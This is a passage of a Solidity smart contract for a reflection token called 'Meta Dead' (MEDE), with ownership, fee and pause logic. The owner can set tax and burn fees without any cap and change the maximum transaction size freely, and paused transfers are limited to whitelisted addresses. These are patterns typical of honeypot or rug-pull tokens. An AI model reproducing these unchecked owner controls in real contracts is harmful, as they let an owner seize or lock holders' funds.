// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MetaDead is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Meta Dead';
string private constant _symbol = 'MEDE';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x8c63a52bcB92Dcd5B1203e08Ed2c1D0bA0546865, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 317,125 | 14,099 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.